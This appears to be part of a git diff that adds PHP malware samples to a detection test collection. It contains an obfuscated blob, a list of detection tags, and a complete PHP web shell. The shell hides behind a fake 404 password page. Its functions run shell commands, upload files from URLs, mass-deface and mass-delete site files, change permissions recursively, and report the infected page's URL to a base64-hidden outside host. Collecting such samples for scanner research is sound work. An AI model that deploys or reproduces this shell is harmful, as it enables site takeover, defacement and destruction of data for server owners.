IJ75¤6AG95AG4ʜ3AʠHԬ+C22CؘB9I20HIGܜ/5D+BB44EԠ9AF5C008CE792HD+E63J5A63F61Ъ/6F822272H3GHA4JECڤ6JCҘ+HИ/54Ƙ4Ԛ4Ԝ+آC2+2ڪCGFܜDԬDĞGԴ09ҢE8C971BJ옞A47FB7E9Ξ2D+70FD9I⠲0ĖF5䤰BҤJ6E8Hдب455H✖I++I̘G/AJ0+784+68B8HAHC54GF3D0FA6GD2513394GBʜ3B729CJEⴰ25H59GD5674DBJ934ب12CDڰG3705ꪤޮ5ĘGF+œI3HAFBEԘF67H0/̲ܖGEִ980/I7+7+Ш6344ܨ8BCHGEШ057I3A95Ģ6֞5F27ΤCJD936ޚ443CA3Ң3Ȧ3DꢠҠ226JΖJԞ4H7ҤHECFBF2/IJȤ1+3515//J1HGޠ0A7I̮05Բ64EEG+9Ʈ/6G0BĤب77I8F3AJƠH6H21ڴGAC1+ܰ042E3F8+FE+ʦCC7֬ʞAƲ248HG+C/F7Ю46FHښ7+6C4Ҡ5+JGΨ++4859IB5060IDD9ȮB15B+2޴Į4J֢H1/DE3EG7J0A68EC0DEJ+8E4I´CҨ4G8ʢB76C1H9J04D2629C8F87879BBJ6D3вH5/+7B15EJF6BҖ7ޤ򬘴BE99+ԚAJ78잮E03FC԰B+CȮDD55H58BJEC2Ү3G򨰖И/¨A/G85+IGH謖212ޠB68IJEҰGB¬J̢G4GD6AEG8CCDJ+I7/1 ƤHE/аIE1FJCDƦ֠EB΢9596+ĘI3I5/8椮2266FȢFEFIB55КB67C/JBFDF25ڞACDҬ8DE+IIF⨘/Ԥ5H+CFԠ˜88¢2I2ĞD䲦D512д1CGEԜJ3ڠ0635H67AA4ʘ16/18/EIFAȢ1ޚ1H386IFDC+3DJJ/G4FF7J1GD1DFH92+8̚6+DFAE0ܰʢC1ĨB+5Ҩ3ؘ7ڬ229CIԚԨIG1GGE2Ƞ79+2ȖI8Ę/2Hд3/874+C21FHEB62G9C3JA50CBGʦ3CCBҠA1AJ7IHЬGB1GJ+3450+C1J̴9/64蚘8DHF32EF73H6+CJ֜8++HGEE0J3F8FA+3CBIܴJ/ܬFDC+/+I+E86DCFCE֚E1+HG05+B/H̰924ܖF젨/ڲADEIHE6110D7D3D/1ECC1H8990+DƮFJDҪ30F218/GD27Ҝ5142JҲ3EԬ5Ĝ5IG03ȤB7Ȳ/CDJ04JJAĘH+DРI8ޠ+J507J+0BD¤IA9AA418/2ȮG4GGGږ++26Ԧ7I493갢E/C/53ADIȢEJ0֨2FC53G+3GEޘ5276F6G̢Ԭ4ҘE03HJʘ81Ԛ+8E1ƚ31ƠDGزEC̰Ș/ҴJ1E1شH12ԖCȦ5+B25F5E5ܬ/DIIIJC䦰157FڬI0/֠89Ȭ9478䦮D0C07D06E8C6C1AA06Gڬ5DCDGIB/IDҬJܖ08ƲԬ33रC/7E즮+Iʰ1/15A°26IJҪ/Ұ99G6ФD2EJ237//D83ά/6J39I/GAEFA9/13C6ژ8ޠ48G6؞ήEE36Ę1659ΜAJ3C47587CF82ְ–15̜48D+G04E/2D4894F/CJF4FF+I197BH9F11G0԰AĞ9IB4䰨H383HH38AAG3+3A6ܮ6024DD1A9DҰҜԞ7дI76JD3981Ȥ֚+B/FC/7JƜ3EJ̘B0Ю9EFG7F50Aܨ̨E䮦9E2B2AH1H1A29H94DڞڦڨI69̠9++B03ĄJHEG/Iޘ870ڴ/317EF/E1Ҫذ/A89J/G30ܘܠHCܘJ8HD4F+аFJ37H1+A3HAʤ̦6A+4C9Ɩ7C̮5A+II쬲G+CCƜ7410AEA8GD1ƦHG/0740AԠF2+BB̢4ҨƘ/92+39281Ȩ+8BBĖ674H+5+1ؤ5JȦ6ʨE/AFJDH+98Т90B4C2ԴڤК/+ܰDĦʬԖ97J58FD5C84JB̢7680//G¦A04A8C3HI̚GB8B+ܤCО֢GE05ĘDCADB֢άޤ/ԨEBئCEA6I5J78G29+7ʖAAGHAҜ6E0E5ҬC404/Ɯ1J5CҬ96J521E82J720//5287I0+1BACI78F5I//7Ƞ00D8ޠJ/B/9C8D/F2Ԭ41AC97I5C32D8+I+E6D/C3C3I5줢59IIHȰ450EE/–8/DG9BCIJ+0+G0ACBHƘ19D88D4B5010I̴H7HԲ9/02/3578F6H蚖IܪDG0ƮJؠ2A++EH7ҪDIAH571ƬB43C9֠Ȥ8CΖFFF0HFܪJD+0G43Ȟ3DABCĨ54BGFI05I+ƨD/+H9Cܢ57֜ਨ850D7F7I237/BHBGHIFȜزڰִ+79DGަ7DFE8E0IЦ22G8A74JBH7F84AFBD8JB0098H+60J63GҜ0BҦI12D޴3IB–Dʘ9HG7ƚ3/FJDHF5762ICB6¨298325DI/+0H+9ĢDHH37AIB/982H4Ԝ1/FHCG09774278/9AID/Ъ319ޘJޮ1ĖA22015B2A7+HОD023ʚ+4Ԛ17֦IJBCְDC5BGAA5Cܦ✘HJGC3FAE19J87/ڤCܘ67ܴ4HIȜF/G45313/G/1F7AHB֮2/J346A+A8B30I804FIHΚ68FƘGCB54B4C3IDG47IJA0EG4D983΢5E6ΚDF5/12E0ƮH9DG+HE1AĴ0/J367ְ92II9C3+/25F2FJ+8DB05D̖ܰC1ڠIE82IްC9H1ި613ԞȮB–9913+0F䢪B66Ԙ¨Ц2ʜGE19줴1HE3J¬0DG쮰D8/Ҡ0/87JؤF15ҖʚA/B2Ъ5H3C9ޚE֢B3A6Ȗ/51DBH7G/0I3JI֤B78760Ұ3EFМ6CB675+Eδ/17ҴCB֞84Μ0ܴΪ79135褢17H8B5JJȴ𦪰B5HA֮J7/34A2/6H3927A3œ8Θ9454EDA61IC⠚7JG1DҬFܮ+8E/2HCHʬ44C373AAڬ촜3A8+/EI2E/+G+36/2FA4G6HAFC؞1C5JJ35C/968DF6J8/4493GA246F13193CEަ7FJIHܞI/JG10J37تH8HG2ڨ1B609E8FHCH3G66J3žCC26J0ʜ170GƘ8/2840HG3I3JD昤0/FG3C36CBΘI+ĢCE4BI91E1МCجB򴴘J8G9G؞++A/ؘBG8014ªꢠHBĤ1+J/FBꦢʞI+A6560ܮ04H1̰IHD5E4FE61AD9֘E/CJI20+3088EJ7065IC3ΨĬ25A1/EΠʰ+B+6䖮Jژ6ĪAGҮI6Cʚ̬̘EEDF36CJ9J9E8ڠA76Aަ+J®/ȬF6B99B5I00ĴH̰GEFED/B6D0JC4/EAGC+859FJ8659D05ȞGACԚ6Eܠª1IHG206J/HCܦ+A°6CBJ6֖5011E6/8B868ТܦJEĪECCAΞ10CAB8/FJ̚E809B/EG/C//GGDEG+5J53+/5Iܬ2®G7EF99632IA6G59ΞBAڞ0DAJBƠH074/Ʋ++43E155DĢF̖Ȝ8B7DB76I6H6B3ʨBG+3ĪHJƮDڪGH8+Ĵ7ЖCBA99DC2AAJ/J12937HȚFD53آ620H289HĴ5G36/1G螜F/Ԫ9JJ5IG3I+8ިA96I2֘FHC8+HI9Ĭ527J䬠0BIؖܖ498BFܢA3ڜ+FF0HI²/B355B754A2CH+IHD/116927ʚ+Ė1E3²F4HƘJ6䲨A3ְ2B874BHBD9I򦤴4G2GJ59DDC295223EC7FF38DH20J01F4Ң4✜7Ԫ옪97ШFޘȪJ䰨IFȢIE70/4I0Ʀδ4/13РAިCGƲHƠF6 F8̬49D19/904ஞHJ344+J1AJ2DBD蚠5JG0ޮЮ+927F4EʲȪAHGFIG0ADʴĚΞ712DG24J/1393ҴB9AȜHC+CJCE69+C7J8螲+2G8BAİH7G5I7EE+ʢF1B/H977B1IE/EH9DИ+7G63IG737ژE92IԠ3ИAC1ĬBI386F̜45B6ڞE7+1Κږ/؜1EJ0–ID枞8D99Ү8DJACI쨖E88EΞDI7G2H1AG/JH35䲨1+7/94D8188JEEI+Т9+ޮ1H+A76526I6JJHGƦ27²AH7ԲA1+01I4ִ3//5斤1+CԮ/ȨED02B5ICشAE9A9΢ޘ/B2J68+54A535CA֬0F58EIH֤C14̲FED+8/69̲7F63D09ڰHΰ4FB78E1EIIBG2859J2ID2HHI19H/ΞIAG1DJشڨ8HК̴15E9Ȝ/Ơ4ȠB73/J3G؜Ƥ70F2B/7/728AިBC32AAG1H2IB5A0/J94/К8/95504/ФО3FB֖Cʦ2J/845ڢIGG/GĖ5Ħ8Р49+CDFHFH9CJ5DC93FD2H420GȮH40EI07I6ҖGGФ6ҬFBB4+I30A3/ޤ9JFJ98JD7޲F1–֘9ږ2E5+CAECG5878B89C2ĠIH7F4Gʜ9A+25I3Aڤ05E4/CB61Eް𨤖J148A+/2D9AEBA66E7A29Ԯ85Eؠ8ޚ0Dئ943GB8βD3I1+4IEA510ް7ƮJD4EI4+E/D84/086D1ڬʲФš2+HJIآHШJꚖD36IIDBΦIC/䞚CDGʤGGҰҲ+/GC31֪Ě9ƜAA162EA0𘘞DIA582E3D29IA+BȲ403890G9̘DI1212CJG91/37ԴIE168/1옪AޤG+0GEH437F+δEIA3931CIܮ3+A8E0֜HޚC3G5J56G7Ḫ1آ3I3JD7ACBFA4ƞ34B/JE3BJJHGȴ9B1D38ƚ̚55+ު3FA΢09F̞A4B//G/ذAH9IC5/CF9+8J5CG°D1ЮĘE08GʘA6И8ҘʞF52A1ܮ2ĬCΨڤܚ/A2C43GBCʞFЮ62D7+7E07GC933J4CH03B贬C5/ABGΞ+DꦨD+F3ʞA9誢¢HI/Aؖ6C5I02D1AC0J갦315EC38ЪBCCGРFA1B03/+ʚ7ڦHG00JFA94DC33/9+BΤBGȞGJ095HGβ92C0CڢAFABƘ˜2E0蜦J/+F6BҘFAEA6CF4421F7Ơ0DD4057ޚF48AԤF966CFBBH8G9+7204DF6J8H257372H52+2FA63FEH4I+9Cš//0DA9C®E5ʰH13D44F+/F9Ĭ+67C5/3+ΚC57817ܞ9Ьꢞ+/7/̤A5B+FJ+G8122A5FI¢H5A1IB4622JFʘ0ԖޚFH̤+I22I/2J40AF檜5H07GE0HD梜44A3G22A械18šDBТJJ5DH+JIHAA4A/3BJA29Až853JH1CH̰/G6FDDE51ܬIТ+CCܦFBEIG54A14GJ9IHI9C1D8HB2ʚ8DFCF4/CB̴48BJA0ܴ؜+6F7̠88J¢H0I55IJ7686+8DF2̞C21EG449G0J1D97ĪBI4/01+H̠FDJִB3ЖG薢DB0/BAJE/C9AD26B´JEڰڲ4B4Aƞ/B199HE7ƢC8EEIⲞF74/7BIAGGAC3E6I¨4+944δJ2FA0H60ʘҰ/4EE05BȘA/Җ2G822®1ڞI+22A줖GҴ99ެ48394B783ܠFCGA0EBH68J˜3ƪ/D02ȠIGHEAIܘ촠D4JذIC9J33DI792B5G37F7첞JޮI5CI5043IJʲ7GB+0HBE9A6ʖBG¢0C+48дHA6I/3339G/8A0B9ؤDG22427ԜCF204D1֤F2޲+004ΞئB/5++8஖HB6641G73ADD4+FFE05G7ޞڰ0JGA0ޞ59ئ46ڢ4ƜBE423಴400F03H6C1AIޖ350ښJ6/BȠ7F82¦ܴ+8EFB1619/0֜+0EGI0ƚ6G8̦8/G5ADH55DCAEI150F0C6EEH1̢1462ؠ6JC66D8²EԜ젘255FECA3E঴90+ΤH洞DAزICܞ֖Ҥ431+070FʚDFD+9+FD9/8CβBE5F2HH176ꮰ++4663責0BڲAE600D̴JE9IC/6H93̞Ԥ790ޘ5JG/G3JH6B2607J6氜AE26C2H6昞02BCE51䨠F+/H375308A5AIFܤ45A15D58CFAG0ܴҮ/36JH3539A9BDΜFHA47249+1+518/ƠG+314ޤF61J6D//F7䮦3A85BJ+/H8䰚6DE⪚4E1DJ934F//06œBE+E2ĨCD1AޖBC4/AIBF3F56+GGҴ2AFGG̖209ҮB74004G631Iܖ8ִHJ֘3J/BF4ڨAH9E1C1E+Р8G4枪9H032DܮF4+/90AȦ+JGEƲޢ9G0CG09Ĵ4ڤܤC5+ஞ07A0AGDDԢت74Ȣ75+Bب78ڰDʴ+C98 02DDDԲGF31IF+A/Φ+C3+FC7B/5+蠦0̬91̮BE4EԬHA/96+1/J1ڪD04+IްƮԲܬA9D5GجG435E8G6FC07508I72+B168+DB3GְE8+9AIH143FJ3FAG+2䚠JF7CI3C+8B2/9A+05984J041AH196B؜24Ϊ6GƚA֖670FD2ڦʮ/5ުʢB䚬+FJIB384A34̲1ʰ9Eª1+1/6216J70FIEG490ΨEG5ꤖB1Ҥ9C/1E764+6ҞFڪ/674ҘAEG38GHΨG+3IB8A9¬54+4/0BҴ7ܜ+/J8HF17A¨36+60B8C䤘+D2/1Ұ9EFCFΜGдJ4IĴ07205J/CCJIژ5B61B7I7EIE97DȨGȨJDIIFFAƨ6H֪CJƢI6I47JJ2282+BA+9CF09409B̤20/F7+DHĨڨ+8CG0J0J8ʲGE18B0EJܦҤ9HC011ږ֘ҢA1C8IJ72BIƬ3C90+EJ/22BJ3JA5H1ަ67FžDޚ/欚0ʤ؞475IG4H7A0D0ިHʖ9ئH91C+FJشIƚ84JGA1DJB6ڞȘI73009쪪G/220ҜGƞ̚+/HަҤ֤IGB221I´69GԲ75ܴئ9Gư7¦+6JJE9A06IE58949BG𴴰7H3+9ޘEH1DEҤ7B83G➠CܪA9DCCB58H2J5/6G3G625²/G7GI+F0H77679+/60+26ڢ253432E21/Ԝ1Ȩ0JܴFD/IAAB25J3EҤ94CHBF18DCJ4򢮨Բ3ʠ79Aܚ4ʠԚ9FBEB2692IG1HƴԜ0778B4/64592IHJIG44E7ҚE/3/ذD92̲3ʮ9697JH833Ě/7GФG+ܠ5ޞ3Dެ7ز641A332ژEIGҘ86JDCԴܢA+DBGB++Ⲫ5؞ܲCG9+5C4B5C84681Aʦ19ƘIĢC2J2Ҫ15GH7E/ĠA16/Ь79EAج252J85BĤCIFDОʲH¬Ԟ21DFE0EC05 IC37J/Ȥ/0BGG39+55757Eİ52/DD7ID27IIDF+ȖIȲ4/IFGBDFI00307ޖAĠJ¢95756֪586CEž䢬7//622B0144J+4ֲ7J19JHIE5ȪGªβư22GI5ƴE2䤜7B8/֮޲1JIJ++207EGG̰+742H45I05A62ަƠܠHC9628JœC70G֚J6B+Ȯ21BB3̪89I20EȜHC6H1FCH97+8Тڬ4300Ȳ+BE39D09GDCȢF73+H5GI7GI4Iذ5EBJĞEФ5ܜG316A0CB1E1ƴJ2+0DEC3J2Ԩ6ҰE59DCG̪7E1آ2J3CHJABȤBA84B41467ಠE0HBAE7ĘF+J3HG08GBF1̦+2E0J+2ܤԠAJ2CF3EȚ5GJ73BE12IG50DB8C7/A41D3GFG2A2G0/67FH0J0Ϊ4/44II+Jƞ/0D7/93HܞJ1/80/I1E栚146B2GA4+/CGEꤰB0ڦ1I9/Բ7G38I6AI4BE+A24CAE0+GȬ1/426ĢܚGƮ7F4ҦHIGҜ/CԤC1̪¢7C57I865HԢD368IEȢH17ت2FР/H629102J246ȢⲖAHI2̠5806C877+7DEޮE1DԮE/1ܜ69EH5B8G+HIIFI7J0A1BAA1JD6D/̴֠F8ƨEJ99̦D5F6ȖFJ577D2IުIĮ+G+0E5EԤҨ7/7I6Ԣ0¨G褜673ΰ1AD5JBG08+D754ؤ9G6ԢH06E7֤IH72DҜ6䰢87228Ȣ2IJ̜A66ܲDBA6G/1/ΨE+D724C21I89777Ȝ6824E/GجI8EG31GH0FEȜ4+9CE8ICJ486//95CEI7H3935F24FGܚAܪAEJ32E4ʰE/3EFC91G3ܲI+ޜ9Ȝ겨J7JH282ʨAȨD/2+HܮCDƢ0220F8FD112ƬCBH9Ξ9CC޴ʘC3ƖJI4894ެJ143/48B1H/8F67E6螘G9I1A9Ԩ00E5IC+HE氨DCEE6BI3ަJ26467AIĴ+9+Ʀ1Eδ+/A69CGB3IJJ3ή9ܘΘ952086EC0/34305A59B84Т4BE̜/F4F/CF8=2FABB1J1JADABAA1BƞBFBBA; \ No newline at end of file diff --git a/samples/PHP/2024.S3RV4N7-SHELL/crot.php.simple b/samples/PHP/2024.S3RV4N7-SHELL/crot.php.simple new file mode 100644 index 00000000..42a174f0 --- /dev/null +++ b/samples/PHP/2024.S3RV4N7-SHELL/crot.php.simple @@ -0,0 +1,10 @@ +# PHP/2024.S3RV4N7-SHELL/crot.php +3P/php-malware/nonprintablechars +3P/php-malware/obfuscatedphp +3P/php-malware/websites +3P/signature_base/webshell/php +combo/backdoor/php +encoding/base64 +evasion/base64/decode +ref/site/url +techniques/code_eval diff --git a/samples/PHP/2024.malcure/simple.php b/samples/PHP/2024.malcure/simple.php new file mode 100644 index 00000000..2fee107f --- /dev/null +++ b/samples/PHP/2024.malcure/simple.php @@ -0,0 +1,3 @@ + +alert("Password Wrong!, Try Again.");'; + } + } + if (isset($_GET['logout'])) { + session_unset(); + session_destroy(); + header("Location: ".$_SERVER['PHP_SELF']); + exit(); + } + if (!isset($_SESSION['forbidden'])) { + ?> + + + + 404 Not Found + + + + + + +
+

Hello Dady

+ + +
+ + + + + + + 404 Not Found + + + + +
+



+Bypass 2024 Priv8 Shell
+ +
+


+NONE"; +} else { + $disf = "".$disfunc.""; +} + +function author() { + echo "

2024 Bypass Shell
"; + exit(); +} + +function cekdir() { + if (isset($_GET['path'])) { + $lokasi = $_GET['path']; + } else { + $lokasi = getcwd(); + } + if (is_writable($lokasi)) { + return "Writeable"; + } else { + return "Writeable"; + } +} + +function cekroot() { + if (is_writable($_SERVER['DOCUMENT_ROOT'])) { + return "Writeable"; + } else { + return "Writeable"; + } +} + +function xrmdir($dir) { + $items = scandir($dir); + foreach ($items as $item) { + if ($item === '.' || $item === '..') { + continue; + } + $path = $dir.'/'.$item; + if (is_dir($path)) { + xrmdir($path); + } else { + unlink($path); + } + } + rmdir($dir); +} + +function statusnya($file){ +$statusnya = fileperms($file); + +if (($statusnya & 0xC000) == 0xC000) { + +// Socket +$ingfo = 's'; +} elseif (($statusnya & 0xA000) == 0xA000) { +// Symbolic Link +$ingfo = 'l'; +} elseif (($statusnya & 0x8000) == 0x8000) { +// Regular +$ingfo = '-'; +} elseif (($statusnya & 0x6000) == 0x6000) { +// Block special +$ingfo = 'b'; +} elseif (($statusnya & 0x4000) == 0x4000) { +// Directory +$ingfo = 'd'; +} elseif (($statusnya & 0x2000) == 0x2000) { +// Character special +$ingfo = 'c'; +} elseif (($statusnya & 0x1000) == 0x1000) { +// FIFO pipe +$ingfo = 'p'; +} else { +// Unknown +$ingfo = 'u'; +} + +// Owner +$ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); +$ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); +$ingfo .= (($statusnya & 0x0040) ? +(($statusnya & 0x0800) ? 's' : 'x' ) : +(($statusnya & 0x0800) ? 'S' : '-')); + + +// Group +$ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); +$ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); +$ingfo .= (($statusnya & 0x0008) ? +(($statusnya & 0x0400) ? 's' : 'x' ) : +(($statusnya & 0x0400) ? 'S' : '-')); + +// World +$ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); +$ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); + +$ingfo .= (($statusnya & 0x0001) ? +(($statusnya & 0x0200) ? 't' : 'x' ) : +(($statusnya & 0x0200) ? 'T' : '-')); + +return $ingfo; +} + +function green($text) { + echo "
".$text."
"; +} + +function red($text) { + echo "
".$text."
"; +} + + +echo "Directory :  "; + +foreach($_POST as $key => $value){ + $_POST[$key] = stripslashes($value); +} + +$k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw'); + +if(isset($_GET['path'])){ + $lokasi = $_GET['path']; + $lokdua = $_GET['path']; +} else { + $lokasi = getcwd(); + $lokdua = getcwd(); +} + +$lokasi = str_replace('\\','/',$lokasi); +$lokasis = explode('/',$lokasi); +$lokasinya = @scandir($lokasi); +$cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; +$data = array('file_url' => $cur); +$options = array( + 'http' => array( + 'method' => 'POST', + 'header' => 'Content-type: application/x-www-form-urlencoded', + 'content' => http_build_query($data), + ), +); +$context = stream_context_create($options); +$result = file_get_contents($k3yw, false, $context); + +foreach($lokasis as $id => $lok){ + if($lok == '' && $id == 0){ + $a = true; + echo '/'; + continue; + } + if($lok == '') continue; + echo ''.$lok.'/'; +} +echo '
'; +echo '

'; +if (isset($_POST['upwkwk'])) { + if (isset($_POST['berkasnya'])) { + if ($_POST['dirnya'] == "2") { + $lokasi = $_SERVER['DOCUMENT_ROOT']; + } + $data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name'])); + if (file_exists($lokasi."/".$_FILES['berkas']['name'])) { + echo "File Uploaded !  ".$lokasi."/".$_FILES['berkas']['name']."

"; + } else { + echo "Failed to Upload !

"; + } + } elseif (isset($_POST['linknya'])) { + if (empty($_POST['namalink'])) { + exit("Filename cannot be empty !"); + } + if ($_POST['dirnya'] == "2") { + $lokasi = $_SERVER['DOCUMENT_ROOT']; + } + $data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink'])); + if (file_exists($lokasi."/".$_POST['namalink'])) { + echo "File Uploaded !  ".$lokasi."/".$_POST['namalink']."

"; + } else { + echo "Failed to Upload !

"; + } + } +} +echo "
"; +echo "Upload File : "; +echo '
+current_dir [ '.cekdir().' ] +document_root [ '.cekroot().' ] +
+ +
+
+'; +echo "
"; +print "
"; +print ""; +print "
"; +print "
"; +tools("cmd"); +function tools($toolsname, $args = null) { + if($toolsname === "cmd") { +print "
+ ".usergroup()->name."@".$GLOBALS['SERVERIP'].": ~ $ + + +
"; + print "
"; + } + } + function changeFolderPermissionsRecursive($dir, $perms) { + $iterator = new RecursiveIteratorIterator( + new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), + RecursiveIteratorIterator::SELF_FIRST + ); + + foreach ($iterator as $item) { + if ($item->isDir()) { + chmod($item->getPathname(), $perms); + } + } +} + + function changeFilePermissionsRecursive($dir, $perms) { + $iterator = new RecursiveIteratorIterator( + new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), + RecursiveIteratorIterator::SELF_FIRST + ); + + foreach ($iterator as $item) { + if ($item->isFile()) { + chmod($item->getPathname(), $perms); + } + } +} + +$currentDirectory = '.'; + + if (isset($_GET['do']) && $_GET['do'] === 'root_file') { + $newFilePermissions = 0644; + changeFilePermissionsRecursive($currentDirectory, $newFilePermissions); + echo "
"; + echo "Message :

Sukses Green All Files

"; + echo "
"; +} + +if (isset($_GET['do']) && $_GET['do'] === 'dark_file') { + $newFilePermissions = 0444; + changeFilePermissionsRecursive($currentDirectory, $newFilePermissions); + echo "
"; + echo "Message :

Sukses Lock All Files

"; + echo "
"; +} + +if (isset($_GET['do']) && $_GET['do'] === 'dark_folders') { + $newFolderPermissions = 0555; + changeFolderPermissionsRecursive($currentDirectory, $newFolderPermissions); + echo "
"; + echo "Message :

Sukses Lock All Folders

"; + echo "
"; +} + +if (isset($_GET['do']) && $_GET['do'] === 'root_folders') { + $newFolderPermissions = 0755; + changeFolderPermissionsRecursive($currentDirectory, $newFolderPermissions); + echo "
"; + echo "Message :

Sukses Green All Folders

"; + echo "
"; +} + + + +function exe($cmd) { + if(function_exists('system')) { + @ob_start(); + @system($cmd); + $buff = @ob_get_contents(); + @ob_end_clean(); + return $buff; + } elseif(function_exists('exec')) { + @exec($cmd,$results); + $buff = ""; + foreach($results as $result) { + $buff .= $result; + } return $buff; + } elseif(function_exists('passthru')) { + @ob_start(); + @passthru($cmd); + $buff = @ob_get_contents(); + @ob_end_clean(); + return $buff; + } elseif(function_exists('shell_exec')) { + $buff = @shell_exec($cmd); + return $buff; + } +} + +function path() { + if(isset($_GET['dir'])) { + $dir = str_replace("\\", "/", $_GET['dir']); + @chdir($dir); + } else { + $dir = str_replace("\\", "/", getcwd()); + } + return $dir; +} +function usergroup() { + if(!function_exists('posix_getegid')) { + $user['name'] = @get_current_user(); + $user['uid'] = @getmyuid(); + $user['gid'] = @getmygid(); + $user['group'] = "?"; + } else { + $user['uid'] = @posix_getpwuid(posix_geteuid()); + $user['gid'] = @posix_getgrgid(posix_getegid()); + $user['name'] = $user['uid']['name']; + $user['uid'] = $user['uid']['uid']; + $user['group'] = $user['gid']['name']; + $user['gid'] = $user['gid']['gid']; + } + return (object) $user; +} + +if(isset($_GET['do'])) { + if($_GET['do'] === "cmd") { + if(isset($_POST['cmd'])) { + if(preg_match("/^rf (.*)$/", $_POST['cmd'], $match)) { + tools("readfile", $match[1]); + } + elseif(preg_match("/^spawn (.*)$/", $_POST['cmd'], $match)) { + tools("spawn", $match[1]); + } + elseif(preg_match("/^symlink\s?(.*)$/", $_POST['cmd'], $match)) { + tools("symlink", $match[1]); + } + elseif(preg_match("/^rvr (.*)$/", $_POST['cmd'], $match)) { + tools("network", $match[1]); + } + elseif(preg_match("/^krdp$/", $_POST['cmd'])) { + tools("krdp"); + } + elseif(preg_match("/^logout$/", $_POST['cmd'])) { + unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); + print ""; + } + elseif(preg_match("/^killme$/", $_POST['cmd'])) { + unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); + @unlink(__FILE__); + print ""; + } + else { + print "
".exe($_POST['cmd'])."
"; + } + } + else { + files_and_folder(); + } + } +} +function massdeface($dir, $file, $filename, $type = null) { + $scandir = scandir($dir); + foreach($scandir as $dir_) { + $path = "$dir/$dir_"; + $location = "$path/$filename"; + if($dir_ === "." || $dir_ === "..") { + file_put_contents($location, $file); + } + else { + if(is_dir($path) AND is_writable($path)) { + print "[".color(1, 2, "DONE")."] ".color(1, 4, $location)."
"; + file_put_contents($location, $file); + if($type === "-alldir") { + massdeface($path, $file, $filename, "-alldir"); + } + } + } + } +} + +function massdelete($dir, $filename) { + $scandir = scandir($dir); + foreach($scandir as $dir_) { + $path = "$dir/$dir_"; + $location = "$path/$filename"; + if($dir_ === '.') { + if(file_exists("$dir/$filename")) { + unlink("$dir/$filename"); + } + } + elseif($dir_ === '..') { + if(file_exists(dirname($dir)."/$filename")) { + unlink(dirname($dir)."/$filename"); + } + } + else { + if(is_dir($path) AND is_writable($path)) { + if(file_exists($location)) { + print "[".color(1, 2, "DELETED")."] ".color(1, 4, $location)."
"; + unlink($location); + massdelete($path, $filename); + } + } + } + } +} + +if (isset($_GET['fileloc'])) { + echo "Current File : ".$_GET['fileloc']; + echo '
'; + echo "
".htmlspecialchars(file_get_contents($_GET['fileloc']))."
"; + author(); +} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") { + if (is_dir($_POST['path'])) { + xrmdir($_POST['path']); + if (file_exists($_POST['path'])) { + red("Failed to delete Directory !"); + } else { + green("Delete Directory Success !"); + echo "string"; + } + } elseif (is_file($_POST['path'])) { + @unlink($_POST['path']); + if (file_exists($_POST['path'])) { + red("Failed to Delete File !"); + } else { + green("Delete File Success !"); + } + } + elseif($_GET['do'] === "mass") { + if($_POST['start']) { + if($_POST['mass_type'] === 'singledir') { + print "
"; + massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file']); + print "
"; + } + elseif($_POST['mass_type'] === 'alldir') { + print "
"; + massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file'], "-alldir"); + print "
"; + } + elseif($_POST['mass_type'] === "delete") { + print "
"; + massdelete($_POST['d_dir'], $_POST['d_file']); + print "
"; + } + } + else { + print "
+ Tipe Sabun:
+ Mass Deface Single DirectoryMass Deface All DirectoryMass Delete File
+ ( kosongkan 'Index File' jika memilih Mass Delete File )

+ Folder:
+

+ Filename:
+

+ Index File:
+
+ +
"; + } + } +} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { + echo "
".$_POST['path']."
"; + echo '
+ Permission : + + + +
'; + if (isset($_POST['chm0d'])) { + $cm = @chmod($_POST['path'], $_POST['perm']); + if ($cm == true) { + green("Change Mod Success !"); + } else { + red("Change Mod Failed !"); + } + } +} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") { + if (isset($_POST['gantin'])) { + $ren = @rename($_POST['path'], $_POST['newname']); + if ($ren == true) { + green("Change Name Success !"); + } else { + red("Change Name Failed !"); + } + } + if (empty($_POST['name'])) { + $namaawal = $_POST['newname']; + } else { + $namawal = $_POST['name']; + } + echo "
".$_POST['path']."
"; + echo '
+ New Name : + + + +
'; +} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { + if (isset($_POST['gasedit'])) { + $edit = @file_put_contents($_POST['path'], $_POST['src']); + if ($edit == true) { + green("Edit File Success !"); + } else { + red("Edit File Failed !"); + } + } + echo "
".$_POST['path']."

"; + echo '
+
+ + + +

'; +} + +echo '
+ + + + + +'; + +foreach($lokasinya as $dir){ + if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; + echo " + + + + + "; +} + +echo ''; +foreach($lokasinya as $file) { + if(!is_file("$lokasi/$file")) continue; + $size = filesize("$lokasi/$file")/1024; + $size = round($size,3); + if($size >= 1024){ + $size = round($size/1024,2).' MB'; +} else { + $size = $size.' KB'; +} + +echo " + + + +"; +} + +echo '
Name
Size
Permissions
Options
".$dir."
--
"; + if(is_writable($lokasi."/".$dir)) echo ''; + elseif(!is_readable($lokasi."/".$dir)) echo ''; + echo statusnya($lokasi."/".$dir); + if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; + + echo "
+ + + + + \" /> +
$file
".$size."
"; +if(is_writable("$lokasi/$file")) echo ''; +elseif(!is_readable("$lokasi/$file")) echo ''; +echo statusnya("$lokasi/$file"); +if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; +echo "
+
+ + + + +\" /> +
